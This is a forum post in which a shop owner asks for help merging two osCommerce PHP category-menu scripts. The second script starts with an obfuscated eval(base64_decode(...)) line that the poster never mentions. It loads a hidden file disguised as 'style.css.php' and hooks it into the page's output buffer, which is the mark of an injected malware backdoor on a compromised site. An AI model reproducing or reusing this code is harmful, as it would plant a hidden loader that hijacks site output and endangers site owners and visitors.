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Modify some code, Pro php coder please Help

vanvoquan

By vanvoquan
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vanvoquan Member

vanvoquan

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Hi everybody, I have this code that allows me to appoint specific categories to box 1 , box 2, ... The problem is that it doesn't show first level subcategories. I have another code that shows sub-categories for the main categories but it doesn't allow me to appoint specific categories to the categories box that I want. I try to mix that two codes so it can allow me to show sub-categories and also allow me to appoint specific categories to the categories boxes. But to my limited php knowledge, I spent weeks to make it happen but no rusult. So Can any pro php coder help to make this happen? or can you point me to the right direction. Your help is greatly appriciate. Thank you.

This is the code that allow you to appoint specific categories to specific categories box:

<?php
/*
  $Id: categories.php,v 1.25 2003/07/09 01:13:58 hpdl Exp $
*/

  function new_tep_show_category($boxId,&$cPath_array,&$tree,$counter)
  {
global $cat_name; // CategoryBox Enhancement
    for ($i=0; $i<$tree[$counter]['level']; $i++)

      $categories_string = "  ";

//    $cPath_new = 'cPath=' . $tree[$counter]['path'];  // CategoryBox Enhancement
    $categories_string .= '<b><a href="';

  
      $cPath_new = 'cPath=' . $tree[$counter]['path'];

//    $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">';  // CategoryBox Enhancement
    $categories_string .= tep_href_link(FILENAME_DEFAULT,  $cPath_new) . '">';

    if ($boxId == $_SESSION['infoBox'] && isset($cPath_array) && in_array($counter, $cPath_array))
    {

// commented for CategoryBox Enhancement      $categories_string .= '<b>' . $tree[$counter]['name'] . '</b>';
      $categories_string .= '<b>';
      
// CategoryBox Enhancement  
      if ($cat_name == $tree[$counter]['name']) {
        $categories_string .= '<span class="errorText">';
         }
// CategoryBox Enhancement  
      
      $categories_string .= $tree[$counter]['name'];

// CategoryBox Enhancement        
	if ($cat_name == $tree[$counter]['name']) {
		$categories_string .= '</span>';
           }
// CategoryBox Enhancement      

      $categories_string .= '</b>';
     }

    else
    {
// CategoryBox Enhancement  
      if ($cat_name == $tree[$counter]['name']) {
        $categories_string .= '<b><span class="errorText">';
         }
// CategoryBox Enhancement  

      $categories_string .= $tree[$counter]['name'];
      
// CategoryBox Enhancement        
	if ($cat_name == $tree[$counter]['name']) {
		$categories_string .= '</span></b>';
           }
// CategoryBox Enhancement        
    }

/* commented for CategoryBox Enhancement
    if (tep_has_category_subcategories($counter))

      $categories_string .= '->';
*/

    $categories_string .= '</a>';

    if (SHOW_COUNTS == 'true') {

      $products_in_category = tep_count_products_in_category($counter);

      if ($products_in_category > 0)

        $categories_string .= ' (' . $products_in_category . ')';

    }

    $categories_string .= '<br>';

    if ($tree[$counter]['next_id'] != false)

      $categories_string .= new_tep_show_category($boxId,$cPath_array,$tree,$tree[$counter]['next_id']);

    return $categories_string;
  }

  function tep_categories_box($boxId,&$infoBox,$follow_cPath,&$cPath_array)
  {
    global $languages_id;

   $info_box_contents = array();
  $info_box_contents[] = array('text' => $infoBox['name']);

  new infoBoxHeadingCategories($info_box_contents, true, false);

    $tree = array();

    $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '0' and c.categories_id in (".implode(',',$infoBox['categories']).") and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name");
    while ($categories = tep_db_fetch_array($categories_query)) {

      $tree[$categories['categories_id']] = array(
        'name' => $categories['categories_name'],
        'parent' => $categories['parent_id'],
        'level' => 0,
        'path' => $categories['categories_id'],
        'next_id' => false
      );

      if (isset($parent_id))
        $tree[$parent_id]['next_id'] = $categories['categories_id'];

      $parent_id = $categories['categories_id'];

      if (!isset($first_element))
        $first_element = $categories['categories_id'];

    }

    //------------------------
    if ($follow_cPath) {

      $new_path = '';

      reset($cPath_array);

      while (list($key, $value) = each($cPath_array)) {

        unset($parent_id);
        unset($first_id);

        $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$value . "' and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name");

        if (tep_db_num_rows($categories_query)) {

          $new_path .= $value;

          while($row = tep_db_fetch_array($categories_query)) {

            $tree[$row['categories_id']] = array(
              'name' => $row['categories_name'],
              'parent' => $row['parent_id'],
              'level' => $key+1,
              'path' => $new_path . '_' . $row['categories_id'],
              'next_id' => false
            );

            if (isset($parent_id))

              $tree[$parent_id]['next_id'] = $row['categories_id'];


            $parent_id = $row['categories_id'];

            if (!isset($first_id))

              $first_id = $row['categories_id'];


            $last_id = $row['categories_id'];

          }

          $tree[$last_id]['next_id'] = $tree[$value]['next_id'];

          $tree[$value]['next_id'] = $first_id;

          $new_path .= '_';

        } else {

          break;

        }

      }

    }

    $info_box_contents = array();
    $info_box_contents[] = array('text' => new_tep_show_category($boxId,$cPath_array,$tree,$first_element));

    new infoBox($info_box_contents);
  }

?>
<!-- categories //-->
<?php

  $_infoBox = array();

//  define('TABLE_CATEGORIES_MORE','categories_more');

  $categories_this_infobox_query = tep_db_query("select * from " . TABLE_CATEGORIES_MORE . " where enabled = 1");

  while ($_categories = tep_db_fetch_array($categories_this_infobox_query))

    $_infoBox[] = array(
      'categories' => array(
        $_categories['category1_id'],
        $_categories['category2_id'],
        $_categories['category3_id'],
        $_categories['category4_id'],
        $_categories['category5_id'],
        $_categories['category6_id'],
        $_categories['category7_id'],
        $_categories['category8_id'],
        $_categories['category9_id'],
        $_categories['category10_id'],
        $_categories['category11_id'],
        $_categories['category12_id'],
        $_categories['category13_id'],
        $_categories['category14_id'],
        $_categories['category15_id'],
        $_categories['category16_id'],
        $_categories['category17_id'],
        $_categories['category18_id'],
        $_categories['category19_id'],
        $_categories['category20_id'],
        $_categories['category21_id'],
        $_categories['category22_id'],
        $_categories['category23_id'],
        $_categories['category24_id'],
        $_categories['category25_id'],
      ),
      'name'    => $_categories['infobox_name'],
      'enabled' => $_categories['enabled']
    );

  if (!tep_session_is_registered('infoBox')) {

    tep_session_register('infoBox');

    $infoBox = '0';

  }

    if (isset($_GET['infoBox']) && is_numeric($_GET['infoBox']))
       $infoBox = $_GET['infoBox'];

  for($i=0,$n=2 ; $i<$n; $i++) {

    echo "<tr>\n<td>\n";

    tep_categories_box(
      $i,
      $_infoBox[$i],
      ($infoBox == $i && tep_not_null($cPath)) ? true : false,
      $cPath_array
    );

    echo "\n</td>\n</tr>\n";

  }
?>
<!-- categories_eof //-->

This is the code that show sub-categories:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2N1b25ndDg2L3B1YmxpY19odG1sL3VnZ2Jvb3RzbWFkbmVzcy5jb20vYWRtaW4vaW5jbHVkZXMvbGFuZ3VhZ2VzL2VzcGFub2wvbW9kdWxlcy9uZXdzbGV0dGVycy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
<?php
/*
  $Id: show_subcategories.php,v 1.0 2003/01/08 10:37:00 Exp $

*/

// Preorder tree traversal
//befordch: unactivated not needed
/*function preorder($cid, $level, $foo, $cpath){
global $categories_string, $HTTP_GET_VARS;

// Display link
if ($cid != 0) {
	for ($i=0; $i<$level; $i++)
		$categories_string .=  '  ';
	$categories_string .= '<a href="' . tep_href_link(FILENAME_DEFAULT, 'cPath=' . $cpath . $cid) . '">';
// 1.6 Are we on the "path" to selected category?
	$bold = strstr($HTTP_GET_VARS['cPath'], $cpath . $cid . '_') ||  $HTTP_GET_VARS['cPath'] == $cpath . $cid;
// 1.6 If yes, use <b>
	if ($bold)
		$categories_string .=  '<b>';
	$categories_string .=  $foo[$cid]['name'];
	if ($bold)
		$categories_string .=  '</b>';
	$categories_string .=  '</a>';
// 1.4 SHOW_COUNTS is 'true' or 'false', not true or false
	if (SHOW_COUNTS == 'true') {
		$products_in_category = tep_count_products_in_category($cid);
      if ($products_in_category > 0) {
        $categories_string .= ' (' . $products_in_category . ')';
      }
    }
	$categories_string .= '<br>';
}
}*/
// Traverse category tree- this is for older snapshots pre-November 2002
/*    foreach ($foo as $key => $value) {
	if ($foo[$key]['parent'] == $cid) {
//        print "$key, $level, $cid, $cpath<br>";
		preorder($key, $level+1, $foo, ($level != 0 ? $cpath . $cid . '_' : ''))
;
	} */
// Function used for post November 2002 snapshots
function tep_show_category($counter) {
global $foo, $categories_string, $id;

for ($a=0; $a<$foo[$counter]['level']; $a++)
	$categories_string .= "  ";
}

?>
<!-- show_subcategories //-->
<tr>
<td class="infoBox_left">

<?php
  $info_box_contents = array();
  $info_box_contents[] = array('text' => BOX_HEADING_CATEGORIES);

  new infoBoxHeadingCategories($info_box_contents, true, false);

//////////
// Get categories list
//////////
// 1.2 Test for presence of status field for compatibility with older versions
//  $status = tep_db_num_rows(tep_db_query('describe categories status')); used for older snapshots
$status = tep_db_num_rows(tep_db_query('describe ' .  TABLE_CATEGORIES . ' status'));

$query = "select c.categories_id, cd.categories_name, c.parent_id, c.categories_image
            from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd
            where c.categories_id = cd.categories_id";
// 1.3 Can't have 'where' in an if statement!
if ($status >0)
	$query.= " and c.status = '1'";
$query.= " and cd.language_id='" . $languages_id ."'
            order by sort_order, cd.categories_id";

$categories_query = tep_db_query($query);

// Initiate tree traverse
  $categories_string = '';
  //preorder(0, 0, $foo, ''); //bedfordch unactivated not needed

//////////
// Display box contents
//////////
$info_box_contents = array();
$row = 0;
$col = 0;
while ($categories = tep_db_fetch_array($categories_query)) {
	if ($categories['parent_id'] == 0){
		$temp_cPath_array = $cPath_array;  //Johan's solution - kill the array but save it for the rest of the site
		unset($cPath_array);
		$cPath_new = tep_get_path($categories['categories_id']);
		$text_subcategories = '<br>';
		$subcategories_query = tep_db_query($query);
		while ($subcategories = tep_db_fetch_array($subcategories_query)){
			if ($subcategories['parent_id'] == $categories['categories_id']){
				$cPath_new_sub = "cPath="  . $categories['categories_id'] . "_" . $subcategories['categories_id'];
				$text_subcategories .= '    - <a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcateg">' . '' . $subcategories['categories_name'] . '</a>';
				//start befordch fix (show subcategoriy count)
				if (SHOW_COUNTS == 'true') {
					$products_in_category = tep_count_products_in_category($subcategories['categories_id']);
	      	if ($products_in_category > 0) {
	      	  $text_subcategories .= ' (' . $products_in_category . ')';
	      	}
    			}
				//end bedfordch fix
				$text_subcategories .= "<br>"; //bedfordch add <br> after subcategory.
				$q2= "select * from categories where parent_id=" . $subcategories['categories_id'];
				$rec2 = mysql_query($q2);
				while ($rq2 = mysql_fetch_array($rec2)) {
					$snd_sub_category = $rq2['categories_id'];
					$q3= "select categories_name from categories_description where categories_id=" . $snd_sub_category;
					$rec3 = mysql_query($q3);
					$rq3 = mysql_fetch_array($rec3);
					$snd_categories_name = $rq3[categories_name];
					$cPath_new_sub = "cPath="  . $categories['categories_id'] . "_" . $subcategories['categories_id'] . "_" . $snd_sub_category;
					$text_subcategories .= '        + ' . '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcategsec">' . '' . $snd_categories_name . '</a>' . "<br>";
				}
			}
		} // While Interno
		//start befordch fix (show category count)
		$buildtext = '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new, 'NONSSL') . '" class="menucateg"><b>' . $categories['categories_name'];
		if (SHOW_COUNTS == 'true') {
			$products_in_category = tep_count_products_in_category($categories['categories_id']);
     	if ($products_in_category > 0) {
     	  $buildtext .= '(' . $products_in_category . ')';
     	}
  		}
		//end bedfordch
		$buildtext .= '</b></a>' . $text_subcategories;
		$info_box_contents[$row] = array('align' => 'left',
																		 'params' => 'class="smallText" width="130" valign="top"',
																		 'text' => $buildtext); //befordch show category count
		$col ++;
		if ($col > 0){
			$col = 0;
			$row ++;
    }
		$cPath_array = $temp_cPath_array; //Re-enable the array for the rest of the code
	}
}
new infoBox($info_box_contents, true);
?>
</td>
</tr>
<!-- show_subcategories_eof //-->

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